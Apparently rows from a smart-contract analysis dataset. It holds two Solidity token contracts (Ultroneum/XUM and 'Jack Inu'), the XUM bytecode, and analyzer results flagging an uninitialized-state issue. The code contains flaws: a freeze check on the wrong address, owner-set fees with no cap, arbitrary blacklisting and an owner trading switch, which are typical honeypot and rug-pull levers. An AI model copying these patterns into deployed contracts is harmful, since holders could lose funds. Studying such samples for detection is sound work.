pragma solidity ^0.4.16; // Ultroneum tokens Smart contract based on the full ERC20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Verified Status: ERC20 Verified Token // Ultroneum tokens Symbol: XUM contract ULTRONEUMToken { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Ultroneum tokens Math operations with safety checks to avoid unnecessary conflicts */ library ABCMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract XUMStandardToken is ULTRONEUMToken, Ownable { using ABCMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don't allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don't allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract ULTRONEUM is XUMStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 16; uint256 public totalSupply = 50 * (10**7) * 10**16 ; // 500 million tokens, 16 decimal places, string constant public name = "Ultroneum"; string constant public symbol = "XUM"; function ULTRONEUM(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600981526020017f556c74726f6e65756d000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f58554d000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a723058201a6024f9fe8579e9ddafb662e25cf59131f2d626855a5faf15b9067aa2a2e7a30029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
413
0x72fa7a2f218ee5a5756ff8fed93f56a284963021
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ /** Elon Tweet Play */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract elontweet is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Jack Inu"; string private constant _symbol = "JACK INU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xbc2a5ae3Bb8F128caF027676D7524Cfcb765abFE); address payable private _marketingAddress = payable(0xbc2a5ae3Bb8F128caF027676D7524Cfcb765abFE); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
